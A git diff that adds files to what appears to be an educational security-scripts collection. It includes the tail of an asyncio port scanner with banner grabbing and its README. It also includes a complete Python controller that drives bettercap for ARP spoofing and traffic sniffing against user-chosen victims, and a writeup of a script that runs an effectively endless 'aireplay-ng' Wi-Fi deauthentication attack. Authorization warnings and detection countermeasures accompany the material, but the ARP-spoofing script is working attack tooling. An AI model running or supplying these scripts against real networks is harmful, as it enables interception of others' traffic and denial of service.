+ async with self.semaphore:
+ # asyncio.open_connection is a high-level API returning (reader, writer)
+ # It resolves DNS and performs the TCP handshake asynchronously.
+ reader, writer = await asyncio.wait_for(asyncio.open_connection(host, port), timeout=self.timeout)
+ result["open"] = True
+
+ # Many services send a short banner immediately after connect (e.g., SSH, SMTP).
+ # Try reading first without sending anything.
+ banner = await self._grab_banner(reader)
+
+ # For HTTP-like ports, servers typically don't send a banner until we issue a request.
+ # We send a light, harmless HEAD request to coax a response (low-impact).
+ if not banner and port in (80, 8080, 8000, 8001):
+ try:
+ writer.write(b"HEAD / HTTP/1.0\r\nHost: localhost\r\n\r\n")
+ await writer.drain() # ensure data is sent before we attempt to read
+ banner = await self._grab_banner(reader)
+ except Exception:
+ # If the probe fails, ignore and continue; do not crash the scanner
+ pass
+
+ # If still no banner, sending a newline sometimes triggers text-based services to respond
+ if not banner:
+ try:
+ writer.write(b"\r\n")
+ await writer.drain()
+ banner = await self._grab_banner(reader)
+ except Exception:
+ pass
+
+ # Close connection politely. Closing ensures we free up sockets on both ends.
+ try:
+ writer.close()
+ # wait for the close handshake in asyncio-compatible manner
+ await writer.wait_closed()
+ except Exception:
+ # not critical, best-effort
+ pass
+
+ # If we received bytes, decode for human-readable output. Use replace errors
+ # so that binary or partial data won't raise exceptions.
+ if banner:
+ result["banner"] = banner[:1024].decode("utf-8", errors="replace")
+ # Fingerprint based on banner (preferred) or port fallback
+ result["services"] = _fingerprint(port, banner)
+ except asyncio.TimeoutError:
+ # connect/read timed out -> port likely filtered or host is slow. We keep open=False.
+ logger.debug("timeout scanning %s:%s", host, port)
+ except (ConnectionRefusedError, OSError) as e:
+ # common case: connection refused -> closed port or unreachable network
+ logger.debug("connection refused or os error for %s:%s -> %s", host, port, e)
+ except Exception as e:
+ # unexpected errors are captured in the result for debugging by maintainers
+ logger.exception("unexpected error scanning %s:%s", host, port)
+ result["error"] = str(e)
+
+ return result
+
+ async def scan_multiple(self, hosts: List[str], ports: List[int]) -> List[Dict[str, Any]]:
+ """
+ Scan all combinations of hosts x ports concurrently and return results as a list.
+ For large scans you may want to chunk hosts/ports to limit memory/ge resource usage.
+ """
+ tasks = []
+ for h in hosts:
+ for p in ports:
+ tasks.append(self.scan_port(h, p))
+ # asyncio.gather runs all tasks concurrently and collects results
+ results = await asyncio.gather(*tasks)
+ return results
+
+
+# -----------------------
+# Simple command-line interface
+# -----------------------
+
+
+def cli(argv: Optional[List[str]] = None) -> int:
+ """
+ Command-line entry point. Parse arguments, run the scan, and optionally print/save results.
+ This CLI is intentionally minimal for learning; you can extend it (e.g., add rate limiting).
+ """
+ parser = argparse.ArgumentParser(prog="async-port-scanner", description="Async port scanner with banner grabbing & basic fingerprinting")
+ parser.add_argument("--hosts", type=str, help="Comma-separated host list (e.g. 127.0.0.1,example.com)")
+ parser.add_argument("--hosts-file", type=str, help="File with one host per line")
+ parser.add_argument("--ports", type=str, default="1-1024", help="Ports to scan (e.g. 22,80,8000-8010). Default: 1-1024")
+ parser.add_argument("--concurrency", type=int, default=DEFAULT_CONCURRENCY, help=f"Max concurrent connections (default {DEFAULT_CONCURRENCY})")
+ parser.add_argument("--timeout", type=float, default=2.0, help="Per-connection timeout in seconds")
+ parser.add_argument("--read-bytes", type=int, default=DEFAULT_READ_BYTES, help=f"Bytes to read when grabbing banners (default {DEFAULT_READ_BYTES})")
+ parser.add_argument("--output", type=str, help="Path to write JSON results (optional)")
+ parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")
+ args = parser.parse_args(argv)
+
+ # configure logging level for learners to see info/debug messages when requested
+ logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO, format="%(asctime)s %(levelname)-8s %(name)s - %(message)s")
+
+ # collect hosts either from command-line or file
+ hosts: List[str] = []
+ if args.hosts:
+ hosts += [h.strip() for h in args.hosts.split(",") if h.strip()]
+ if args.hosts_file:
+ with open(args.hosts_file, "r", encoding="utf-8") as fh:
+ for line in fh:
+ line = line.strip()
+ if line and not line.startswith("#"):
+ hosts.append(line)
+
+ if not hosts:
+ parser.error("Please provide --hosts or --hosts-file")
+
+ # parse ports into a list of ints
+ ports = parse_port_list(args.ports)
+
+ # instantiate scanner with provided settings
+ scanner = AsyncPortScanner(timeout=args.timeout, concurrency=args.concurrency, read_bytes=args.read_bytes)
+
+ async def _run():
+ # the actual async runner that returns results
+ return await scanner.scan_multiple(hosts, ports)
+
+ # Run the async runner and collect results synchronously here in main thread
+ results = asyncio.run(_run())
+
+ # Print results to stdout in a human-friendly way and optionally store JSON
+ for r in results:
+ if r.get("open"):
+ # learners: this line prints a compact one-line summary per open port
+ print(f"{r['host']}:{r['port']} open -> services={r.get('services')} banner={r.get('banner')!r}")
+
+ if args.output:
+ # write full JSON results to a file if requested
+ with open(args.output, "w", encoding="utf-8") as fh:
+ json.dump(results, fh, indent=2)
+
+ return 0
+
+
+# -----------------------
+# Module entry
+# -----------------------
+if __name__ == "__main__":
+ # This allows `python async_port_scanner.py --hosts 127.0.0.1 --ports 22` from terminal.
+ raise SystemExit(cli())
diff --git a/UI/frontend/src/content/python-scripts/asyncio_port_scanner_readme.md b/UI/frontend/src/content/python-scripts/asyncio_port_scanner_readme.md
new file mode 100644
index 0000000..b30c608
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/asyncio_port_scanner_readme.md
@@ -0,0 +1,149 @@
+# Asynchronous Port Scanner (Simple)
+
+A small, educational port scanner written in Python that demonstrates:
+
+- Asynchronous networking using `asyncio` (no external dependencies).
+- Banner grabbing: reading the short messages services often send when you connect.
+- Basic service fingerprinting: using simple pattern matches to guess common services (HTTP, SSH, SMTP, MySQL, etc.).
+
+> **Warning:** Only scan hosts/networks that are owned or explicitly authorized for testing.
+
+---
+
+## What it does
+
+The scanner connects to one or more hosts and ports concurrently, attempts to read service banners, and applies simple rules to identify likely services. It prints open ports with any banners and guessed service names.
+
+---
+
+## Architecture and flow
+
+The diagram below shows the end-to-end sequence: CLI parsing, host collection, async scheduling with a semaphore, banner grabbing, fingerprinting, and result collection/output.
+
+
+
+Key steps:
+
+- User/CLI input parses flags and config.
+- Hosts collector reads targets from CLI or file.
+- Scanner setup instantiates the scanner.
+- Task scheduling distributes scan tasks.
+- Concurrency control limits simultaneous scans with a semaphore.
+- Async connections use `asyncio.open_connection`.
+- Banner grabbing reads available banners and may send lightweight probes.
+- Service fingerprinting matches banners or uses port heuristics.
+- Result collection aggregates and prints or writes JSON.
+
+---
+
+## Usage
+
+Basic example:
+
+```bash
+python port_scanner.py --hosts 127.0.0.1 --ports 22,80,443
+```
+
+This scans the listed ports on 127.0.0.1, printing open ports, banners, and the guessed service name.
+
+---
+
+## Example test run
+
+Below are screenshots from a real demo session: one shows the JSON results, the other the console summary.
+
+
+
+
+
+Representative raw JSON:
+
+```json
+[
+ {
+ "host": "127.0.0.1",
+ "port": 9001,
+ "open": true,
+ "banner": "HTTP/1.1 200 OK\\r\\nServer: DummyHTTP/1.0\\r\\nContent-Length: 2\\r\\n\\r\\nOK",
+ "services": ["HTTP"],
+ "timestamp": "2025-10-04T06:54:27.150511Z"
+ },
+ {
+ "host": "127.0.0.1",
+ "port": 9002,
+ "open": true,
+ "banner": "SSH-2.0-OpenSSH_8.0p1 Demo\\r\\n",
+ "services": ["SSH"],
+ "timestamp": "2025-10-04T06:54:27.150940Z"
+ },
+ {
+ "host": "127.0.0.1",
+ "port": 9003,
+ "open": true,
+ "banner": "220 localhost ESMTP DemoPostfix\\r\\n",
+ "services": ["SMTP"],
+ "timestamp": "2025-10-04T06:54:27.151161Z"
+ },
+ {
+ "host": "127.0.0.1",
+ "port": 9004,
+ "open": true,
+ "banner": "\\n5.7.33\\u0000\\u0000\\u0000\\u0000mysql_native_password",
+ "services": ["MySQL"],
+ "timestamp": "2025-10-04T06:54:27.151332Z"
+ }
+]
+```
+
+Summary output:
+
+```
+=== Summary (open ports) ===
+- 127.0.0.1:9001 -> services=['HTTP'] banner='HTTP/1.1 200 OK\r\nServer: DummyHTTP/1.0\r\nContent-Length: 2\r\n\r\nOK'
+- 127.0.0.1:9002 -> services=['SSH'] banner='SSH-2.0-OpenSSH_8.0p1 Demo\r\n'
+- 127.0.0.1:9003 -> services=['SMTP'] banner='220 localhost ESMTP DemoPostfix\r\n'
+- 127.0.0.1:9004 -> services=['MySQL'] banner='\n5.7.33\x00\x00\x00\x00mysql_native_password'
+```
+
+---
+
+## How it works
+
+### asyncio
+
+- Uses `async`/`await` and an event loop to run many connections concurrently without threads.
+- `asyncio.Semaphore` limits concurrent tasks to avoid exhausting system resources.
+- `asyncio.gather` schedules many scan tasks together.
+
+### Banner grabbing
+
+- After connect, reads up to N bytes with a timeout.
+- For HTTP, sends a `HEAD /` probe and reads response.
+- Some text protocols respond to a newline; the scanner may send one line to elicit a banner.
+
+### Service fingerprinting
+
+- Matches banners against simple regexes for common services (e.g., HTTP, SSH, SMTP, MySQL).
+- Falls back to a port-to-service map if no banner match is found.
+
+---
+
+## Notes
+
+- Educational tool; not a production-grade scanner.
+- Encrypted services (HTTPS/IMAPS) require TLS handshakes to inspect certificates.
+- Fingerprinting can be improved by adding protocol-specific probes and regex patterns.
+
+---
+
+## When to use
+
+- Lab and classroom demos.
+- Authorized internal inventory discovery.
+- CI checks for unintended open ports.
+- Debugging local services.
+
+Do not use on unauthorized networks.
+
+---
+
diff --git a/UI/frontend/src/content/python-scripts/bettercap_arp_spoofing_readme.md b/UI/frontend/src/content/python-scripts/bettercap_arp_spoofing_readme.md
new file mode 100644
index 0000000..3677be0
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/bettercap_arp_spoofing_readme.md
@@ -0,0 +1,176 @@
+
+
+
+
+## 🛡️ Bettercap Controller
+
+A professional Python automation script for controlling **Bettercap** operations, including device discovery, target selection, and ARP spoofing workflows.
+
+### Features
+
+- **Automated Bettercap Management**: Launches and controls Bettercap as a subprocess
+- **Interactive Device Discovery**: Uses `net.probe` to discover network devices automatically
+- **User-Friendly Target Selection**: Intuitive interface for selecting attack targets
+- **Flexible Attack Configuration**: Supports both simplex and full-duplex ARP spoofing
+- **Real-time Output Streaming**: Live display of Bettercap operations and captured data
+- **Professional Error Handling**: Comprehensive error management and graceful cleanup
+
+### System Architecture
+
+The script follows a structured workflow with clear separation of concerns and professional error handling.
+
+
+
+### Execution Flow
+
+1. **Initialization**: Validates arguments and launches Bettercap subprocess
+2. **Device Discovery**: Executes `net.probe` to scan the local network
+3. **Target Selection**: Parses discovered devices and presents selection interface
+4. **Attack Configuration**: Configures ARP spoofing parameters based on user input
+5. **Operation Execution**: Launches coordinated ARP spoofing and packet sniffing
+6. **Real-time Monitoring**: Streams live output with proper cleanup handling
+
+### Usage
+
+```bash
+# Standard Ethernet interface
+python bettercap_controller.py eth0
+
+# Wireless interface
+python bettercap_controller.py wlan0
+```
+
+### Live Demonstration
+
+Below is a screenshot from an actual test session showing the script in operation:
+
+
+
+The demonstration shows:
+- **Device Discovery Phase**: Automatic network scanning and device enumeration
+- **Interactive Selection**: User-friendly target selection interface
+- **Real-time Operations**: Live ARP spoofing and packet capture output
+- **Professional Logging**: Structured output with timestamps and status indicators
+
+---
+
+## 📋 System Requirements
+
+### Common Requirements
+- **Python 3.x** with standard libraries
+- **Linux/Unix environment** (recommended)
+- **Administrative privileges** for network operations
+
+### Tool-Specific Requirements
+
+**Port Scanner:**
+- No external dependencies (uses built-in `asyncio`)
+- Network access to target hosts
+
+**Bettercap Controller:**
+- Bettercap installed and accessible via `$PATH`
+- Sudo access for network interface operations
+- Valid network interface for packet capture
+
+---
+
+
+
+## 🎓 Educational Applications
+
+### Network Security Training
+- Demonstrates real-world attack vectors in controlled environments
+- Illustrates the importance of network segmentation and monitoring
+- Shows practical implementation of asynchronous programming
+- Provides hands-on experience with professional security tools
+
+### Defensive Security
+- Enables testing of network security monitoring capabilities
+- Validates effectiveness of port scanning detection systems
+- Demonstrates the importance of encrypted protocol usage
+- Supports security awareness training programs
+
+---
+
+## 🔧 Core Functionality
+
+### Bettercap Controller
+
+#### Device Discovery Module
+```python
+def discover_devices(proc):
+ """
+ Orchestrates network device discovery using Bettercap's net.probe functionality.
+ Implements threaded output reading for non-blocking operation.
+ """
+```
+
+#### Attack Execution Engine
+```python
+def run_attack(proc, targets, fullduplex):
+ """
+ Constructs and executes the coordinated attack command sequence.
+ Manages real-time output streaming and graceful termination.
+ """
+```
+
+#### Bettercap Command Integration
+- **`net.probe`**: Active network reconnaissance and device enumeration
+- **`net.show`**: Device list parsing and metadata extraction
+- **`arp.spoof`**: ARP spoofing attack coordination with configurable parameters
+- **`net.sniff`**: Packet capture and real-time traffic analysis
+
+---
+
+## ⚖️ Legal and Ethical Guidelines
+
+### Professional Use Only
+
+These tools are designed for authorized security professionals, educators, and students working in controlled environments. Users must:
+
+- ✅ **Obtain explicit written authorization** before any testing
+- ✅ **Use only in isolated laboratory environments** for unauthorized testing
+- ✅ **Maintain detailed logs and documentation** of all activities
+- ✅ **Follow applicable local, state, and federal laws** regarding network security testing
+- ✅ **Respect privacy and confidentiality** of any intercepted data
+
+### Recommended Testing Environment
+
+- Virtual machine networks (VMware, VirtualBox)
+- Isolated physical test networks
+- Dedicated cybersecurity training laboratories
+- Home networks with proper consent from all users
+
+### Security Considerations
+
+#### Authorization Requirements
+- **Authorized Networks Only**: Only use on networks you own or have explicit permission to test
+- **Laboratory Environment**: Ideal for isolated testing environments and educational labs
+- **Documentation**: Maintain proper documentation and approval records
+
+#### Detection and Countermeasures
+- **ARP Table Monitoring**: Network administrators can detect ARP spoofing through table analysis
+- **Dynamic ARP Inspection**: Enterprise switches can validate ARP traffic automatically
+- **Static ARP Entries**: Manual ARP table configuration prevents spoofing attacks
+- **Network Monitoring**: Tools like `arpwatch` can identify suspicious ARP behavior
+
+---
+
+
+
+Contributions are welcome! Please ensure all contributions:
+
+- Maintain the educational focus and include appropriate security warnings
+- Include comprehensive documentation and error handling
+- Follow ethical guidelines and legal compliance standards
+- Provide clear usage examples and safety instructions
+
+---
+
+## 📄 License
+
+MIT License - See LICENSE file for details
+
+---
+
+**Note**: These tools prioritize education and authorized testing. Always ensure compliance with applicable laws and organizational policies before use. The visual documentation and professional architecture diagrams help users understand both the technical implementation and the ethical considerations involved in network security testing.
diff --git a/UI/frontend/src/content/python-scripts/bettercap_arp_spoofing_script.md b/UI/frontend/src/content/python-scripts/bettercap_arp_spoofing_script.md
new file mode 100644
index 0000000..b38d5e1
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/bettercap_arp_spoofing_script.md
@@ -0,0 +1,102 @@
+## bettercap_arp_spoofing_script.py
+
+### Usage Scenario
+
+This script is a tool designed for **network security assessments** and **penetration testing** in a controlled, authorized environment.
+
+* **What problem does it solve?** It automates the process of setting up an **ARP Spoofing** attack using the powerful `bettercap` framework. This allows a security professional to test the network's resilience to **Man-in-the-Middle (MiTM)** attacks, specifically by intercepting network traffic between a target device and the network's gateway.
+* **Who would benefit from using it?** **Ethical Hackers**, **Security Analysts**, and **Cybersecurity Students** would find this script valuable. It provides a quick, interactive way to practice and demonstrate MiTM techniques, network device discovery, and traffic sniffing.
+
+---
+
+### What the Script Does
+
+The Python script acts as a **wrapper** and **orchestrator** for the `bettercap` tool. It provides a simplified, interactive command-line interface (CLI) to perform targeted **ARP Spoofing**.
+
+The execution flow is:
+
+1. **Input:** It requires the network interface name (e.g., `eth0`, `wlan0`) as a command-line argument.
+2. **Process:** It starts `bettercap` as a background process, sends commands to discover network devices, presents the list to the user, and collects the user's choice for the **target IP(s)** and whether to enable **full-duplex spoofing**.
+3. **Output/Side Effects:** The main effect is the **execution of the `bettercap` tool**, which changes the ARP tables of the target device(s) and the gateway. The script's output is the live, streaming log of the `bettercap` session, including device discovery results and intercepted traffic logs (if any).
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `subprocess` | To start and manage external processes, specifically running the `bettercap` command. It allows the script to send input (`stdin`) and read output (`stdout`) from the tool. |
+| `sys` | To handle system-specific parameters and functions, primarily for accessing command-line arguments (`sys.argv`) and exiting the script (`sys.exit`). |
+| `time` | To introduce pauses (`time.sleep`) in the script's execution, giving `bettercap` time to initialize or execute a command before proceeding. |
+| `threading` | To run the output reading of the `bettercap` process in a **separate thread**. This prevents the main script from blocking (freezing) while waiting for `bettercap`'s output, allowing for simultaneous input/command sending and output monitoring. |
+| `re` | The regular expression module, used in the `discover_devices` function to **parse** the structured output of `bettercap`'s `net.show` command and extract device IP, MAC, and name. |
+
+#### Main Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| `start_bettercap` | `iface` (str): The network interface name. | `proc` (subprocess.Popen object) | Starts the `bettercap` process with `sudo` on the specified interface. Handles `FileNotFoundError` if `bettercap` is not installed. |
+| `discover_devices` | `proc` (subprocess.Popen object) | `devices` (list of dicts) | Initiates network discovery (`net.probe on`). It reads and displays `bettercap`'s output concurrently using a thread. After user confirmation, it runs `net.show` and uses a regular expression to parse the output and return a list of discovered devices. |
+| `get_user_choices` | `devices` (list of dicts) | `targets_str` (str), `fullduplex` (str) | Presents the discovered devices to the user and prompts them to select one or more targets (by index). It also asks whether to enable full-duplex ARP spoofing. Returns the selected target IPs as a comma-separated string and the boolean choice. |
+| `run_attack` | `proc` (subprocess.Popen object), `targets` (str), `fullduplex` (str) | None | Constructs the final `bettercap` command (`set arp.spoof.fullduplex ; set arp.spoof.targets ; arp.spoof on; net.sniff on`) and sends it to the running process. It then continuously reads and prints `bettercap`'s live output until the user presses `Ctrl+C`. |
+| `main` | None | None | The entry point of the script. Manages the overall workflow by calling the other functions in sequence. |
+
+#### Execution Logic
+
+The script's execution is controlled by the `main()` function, which is called when the script is run (`if __name__ == "__main__":`).
+
+1. **Argument Check:** It first verifies if a network interface name was provided as a command-line argument (`sys.argv[1]`). If not, it prints the usage instructions and exits.
+2. **Start `bettercap`:** It calls `start_bettercap(iface)` to launch the tool and get the process object (`proc`). It exits if the tool fails to start.
+3. **Discover Devices:** It calls `discover_devices(proc)`. This is the interactive discovery phase where the script waits for the user to press Enter before listing the results. It exits if no devices are found.
+4. **Get User Input:** It calls `get_user_choices(devices)` to display the list of devices and prompt the user to select the target IP(s) and the ARP spoofing mode (full-duplex: `true`/`false`).
+5. **Execute Attack:** It calls `run_attack(proc, targets, fullduplex)` to send the final, constructed attack command to `bettercap`.
+6. **Monitor and Exit:** The `run_attack` function then enters an infinite loop, continuously displaying the attack's real-time output. The script only terminates when the user manually interrupts the process by pressing **`Ctrl+C`** (`KeyboardInterrupt`), which triggers the graceful termination of the `bettercap` process (`proc.terminate()`).
+
+---
+
+### Screenshots
+
+
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant Script as Python Script (main)
+ participant OS as Operating System
+ participant Bettercap as bettercap Process
+
+ User->>Script: Execute (python script.py )
+ Script->>Script: Check arguments
+ Script->>Script: Call start_bettercap()
+ Script->>OS: Execute: sudo bettercap -iface
+ OS->>Bettercap: Start Process
+ Bettercap-->>Script: Return Process Handle (proc)
+ Script->>Script: Call discover_devices(proc)
+
+ Note over Script,Bettercap: Start concurrent output reader thread
+ Script->>Bettercap: Send: net.probe on
+ Script->>User: Print discovery status
+ User->>Script: Press Enter
+ Script->>Bettercap: Send: net.probe off
+ Script->>Bettercap: Send: net.show
+ Bettercap-->>Script: Stream output (stdout)
+ Script->>Script: Stop output thread
+ Script->>Script: Parse output with regex (device_regex)
+ Script-->>Script: Return devices list
+ Script->>Script: Call get_user_choices(devices)
+ Script->>User: Display devices list
+ User->>Script: Input target indices & full-duplex choice
+ Script-->>Script: Return targets_str, fullduplex
+ Script->>Script: Call run_attack(proc, targets, fullduplex)
+ Script->>Bettercap: Send final command (set arp.spoof...)
+ Bettercap-->>Script: Begin attack/sniffing and stream logs
+ Script->>Script: Loop: Print bettercap output
+ User->>Script: Press Ctrl+C (KeyboardInterrupt)
+ Script->>Bettercap: proc.terminate()
+ Script->>OS: Exit
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/bettercap_arp_spoofing_script.py b/UI/frontend/src/content/python-scripts/bettercap_arp_spoofing_script.py
new file mode 100644
index 0000000..da355dc
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/bettercap_arp_spoofing_script.py
@@ -0,0 +1,179 @@
+import subprocess
+import sys
+import time
+import threading
+import re
+
+# this function starts the bettercap tool in the background.
+def start_bettercap(iface):
+ """Starts the bettercap process and returns the process object."""
+ print(f"[*] Starting bettercap on interface {iface}...")
+ try:
+ # 'popen' runs the command in a new process.
+ proc = subprocess.Popen(
+ ["sudo", "bettercap", "-iface", iface],
+ stdin=subprocess.PIPE,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.STDOUT,
+ text=True,
+ bufsize=1
+ )
+ time.sleep(2) # give bettercap a moment to initialize
+ return proc
+ except FileNotFoundError:
+ # this happens if bettercap isn't installed.
+ print("[!] Error: 'bettercap' command not found. Make sure it's installed and in your PATH.")
+ sys.exit(1)
+ except Exception as e:
+ # catches any other errors during startup.
+ print(f"[!] An error occurred while starting bettercap: {e}")
+ sys.exit(1)
+
+# this function finds devices on the network.
+def discover_devices(proc):
+ """Runs net.probe and net.show to discover and list devices."""
+ devices = []
+ output_lines = []
+ stop_reading = threading.Event()
+
+ # this little function reads bettercap's output in the background
+ # so the main script doesn't get stuck.
+ def read_output():
+ while not stop_reading.is_set():
+ line = proc.stdout.readline()
+ if line:
+ print(line, end="")
+ output_lines.append(line)
+
+ t = threading.Thread(target=read_output)
+ t.start()
+
+ # tell bettercap to start looking for devices.
+ proc.stdin.write("net.probe on\n")
+ proc.stdin.flush()
+ print("[*] Device discovery started. Let it run for a bit to find devices...")
+ # waits for the user to press enter before continuing.
+ input("[*] Press Enter when you are ready to see the list of discovered devices...\n")
+
+ # tell bettercap to stop probing and show the list of found devices.
+ proc.stdin.write("net.probe off\n")
+ proc.stdin.flush()
+ time.sleep(1)
+ proc.stdin.write("net.show\n")
+ proc.stdin.flush()
+ time.sleep(2) # wait for the list to be printed.
+
+ stop_reading.set()
+ t.join()
+
+ # this is a pattern to find ip, mac, and name from the output text.
+ device_regex = re.compile(r"^(?P\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+(?P([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2})\s+(?P.*?)\s+(?P.*?)\s+.*")
+
+ print("\n--- Parsing Discovered Devices ---")
+ # goes through each line of the output to find devices.
+ for line in output_lines:
+ match = device_regex.match(line.strip())
+ if match:
+ device_info = match.groupdict()
+ devices.append(device_info)
+
+ # if no devices were found, exit the script.
+ if not devices:
+ print("[!] No devices were found. Exiting.")
+ proc.terminate()
+ sys.exit(1)
+
+ return devices
+
+# this function shows the list of devices and asks the user what to do.
+def get_user_choices(devices):
+ """Displays devices and gets the user's target and fullduplex choices."""
+ print("\n[+] Discovered Devices:")
+ # prints each found device with a number.
+ for i, device in enumerate(devices):
+ print(f" [{i}] IP: {device['ip']:<15} MAC: {device['mac']:<17} Name: {device.get('name', 'N/A')}")
+
+ # keeps asking until the user enters a valid number.
+ while True:
+ try:
+ target_indices_str = input("\n[*] Enter the number(s) of the target(s) (e.g., 0 or 1,3): ")
+ target_indices = [int(i.strip()) for i in target_indices_str.split(',')]
+
+ # checks if the numbers are valid.
+ if all(0 <= index < len(devices) for index in target_indices):
+ selected_ips = [devices[i]['ip'] for i in target_indices]
+ targets_str = ",".join(selected_ips)
+ break
+ else:
+ print("[!] Invalid selection. Please enter number(s) from the list above.")
+ except ValueError:
+ print("[!] Invalid input. Please enter numbers only.")
+
+ # asks the user if they want to run a full duplex attack.
+ while True:
+ choice = input("[*] Enable full-duplex ARP spoofing? (y/n): ").strip().lower()
+ if choice in ['y', 'yes']:
+ fullduplex = "true"
+ break
+ elif choice in ['n', 'no']:
+ fullduplex = "false"
+ break
+ else:
+ print("[!] Invalid choice. Please enter 'y' or 'n'.")
+
+ return targets_str, fullduplex
+
+# this function runs the actual attack commands in bettercap.
+def run_attack(proc, targets, fullduplex):
+ """Constructs and sends the final attack command to bettercap."""
+ # puts together the final command based on user choices.
+ command = f"set arp.spoof.fullduplex {fullduplex}; set arp.spoof.targets {targets}; arp.spoof on; net.sniff on"
+ print(f"\n[+] Executing command: {command}")
+ # sends the command to the running bettercap process.
+ proc.stdin.write(command + "\n")
+ proc.stdin.flush()
+ print("\n[***] ARP spoofing and sniffing started! Press Ctrl+C to exit. [***]")
+
+ # shows the live output from bettercap.
+ try:
+ while True:
+ line = proc.stdout.readline()
+ if not line:
+ break
+ print(line, end="")
+ except KeyboardInterrupt:
+ # stops the script when the user presses ctrl+c.
+ print("\n[*] Stopping bettercap and exiting...")
+ proc.terminate()
+ except Exception as e:
+ # catches any other errors.
+ print(f"\n[!] An error occurred: {e}")
+ proc.terminate()
+
+# this is the main function that runs everything in order.
+def main():
+ # checks if the user provided a network interface name.
+ if len(sys.argv) < 2:
+ print(f"Usage: python {sys.argv[0]} ")
+ sys.exit(1)
+ iface = sys.argv[1]
+
+ # step 1: start bettercap.
+ proc = start_bettercap(iface)
+ if not proc:
+ print("[!] Failed to start bettercap. Exiting.")
+ sys.exit(1)
+ # step 2: discover devices on the network.
+ devices = discover_devices(proc)
+ if not devices:
+ print("[!] No devices found. Exiting.")
+ proc.terminate()
+ sys.exit(1)
+ # step 3: ask the user for attack details.
+ targets, fullduplex = get_user_choices(devices)
+ # step 4: run the attack.
+ run_attack(proc, targets, fullduplex)
+
+# this line makes sure the main function is called when the script is run.
+if __name__ == "__main__":
+ main()
diff --git a/UI/frontend/src/content/python-scripts/deauth_attack.md b/UI/frontend/src/content/python-scripts/deauth_attack.md
new file mode 100644
index 0000000..b3f3444
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/deauth_attack.md
@@ -0,0 +1,86 @@
+## deauth_attack.py
+
+### Usage Scenario
+
+This script is a simplified tool designed to perform a basic **Wi-Fi Deauthentication Attack** using the external utility `aireplay-ng`. It is used primarily for **network security assessments** in controlled, authorized environments.
+
+* **What problem does it solve?** It provides a quick, command-line wrapper to force a client device to disconnect from a Wi-Fi Access Point (AP). This is crucial for security testing to determine the network's resilience to **Denial-of-Service (DoS)** attacks at the Wi-Fi layer. Furthermore, it is often a prerequisite step to **capture the WPA/WPA2 4-way handshake** for offline password auditing.
+* **Who would benefit from using it?** **Cybersecurity Students**, **Ethical Hackers**, and **Penetration Testers** benefit from this script. It allows for fast execution and demonstration of a fundamental wireless attack technique as part of a comprehensive security review.
+
+---
+
+### What the Script Does
+
+The Python script acts as a **simple wrapper** for the powerful external command-line tool **`aireplay-ng`** (part of the Aircrack-ng suite). Its sole purpose is to execute a deauthentication attack.
+
+The execution flow is:
+
+1. **Input:** It requires three pieces of information from the user: the **wireless interface name** (e.g., `wlan0mon`), the **Target MAC address** (victim client), and the **Gateway MAC address** (Access Point).
+2. **Process:** It constructs a `sudo aireplay-ng` command string with the provided inputs, setting the deauthentication count to an arbitrarily high number (`100000000`) to sustain the attack indefinitely. It then executes this command using the `subprocess.call` function.
+3. **Output/Side Effects:** The script prints status messages to the console. The main effect is the **execution of the external `aireplay-ng` tool**, which sends the deauthentication packets. The script execution remains blocked until the external process is manually stopped (usually via `Ctrl+C`).
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `os` | Imported but **not used** in the current implementation. |
+| `subprocess` | **Essential.** Used to execute external system commands. It is crucial for running the non-Python utility `aireplay-ng` and waiting for its completion. |
+
+#### Main Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| `deauth_attack` | `interface` (str), `target_mac` (str), `gateway_mac` (str) | None | Constructs the `sudo aireplay-ng` command list using the three MAC/Interface parameters and executes it immediately using `subprocess.call()`. The function blocks (waits) until the command is manually terminated. |
+
+#### Execution Logic
+
+The script's execution begins within the `if __name__ == "__main__":` block, which is the standard entry point.
+
+1. **Input Collection:** The script prompts the user via the `input()` function to enter the necessary parameters: `interface`, `target_mac`, and `gateway_mac`.
+2. **Status Message:** A message is printed confirming the initiation of the attack with the provided details.
+3. **Attack Execution:** The `deauth_attack()` function is called. This function immediately executes the `aireplay-ng` command with root privileges (`sudo`).
+4. **Blocking/Waiting:** At this point, the Python script **pauses** (`subprocess.call` blocks) and waits for the `aireplay-ng` process to finish. Since the attack is set to run "infinitely," the user must manually stop the attack in the terminal (usually via **`Ctrl+C`**).
+5. **Completion:** Once the `aireplay-ng` process is terminated by the user, the script unblocks and prints the final status message: `[+] Deauthentication attack completed`.
+
+---
+
+### Screenshots
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant Script as Python Script
+ participant OS as Operating System
+ participant AireplayNG as aireplay-ng Utility
+
+ User->>Script: Execute Script
+ Script->>User: Request Interface Name
+ User->>Script: Provide 'wlan0mon'
+ Script->>User: Request Target MAC
+ User->>Script: Provide 'AA:BB:CC:DD:EE:FF'
+ Script->>User: Request Gateway MAC
+ User->>Script: Provide '11:22:33:44:55:66'
+
+ Script->>Script: Call deauth_attack()
+ Script->>OS: Execute: subprocess.call(command)
+ OS->>AireplayNG: Execute: sudo aireplay-ng --deauth 100000000 ...
+
+ Note over Script,AireplayNG: Script waits (blocked) for aireplay-ng to finish.
+
+ AireplayNG-->>OS: Sends Deauthentication Packets to Target & AP
+
+ User->>AireplayNG: Manual Termination (Ctrl+C)
+
+ AireplayNG-->>OS: Process Exit
+ OS->>Script: Return from subprocess.call()
+
+ Script->>User: Display "[+] Deauthentication attack completed"
+ Script->>OS: Exit
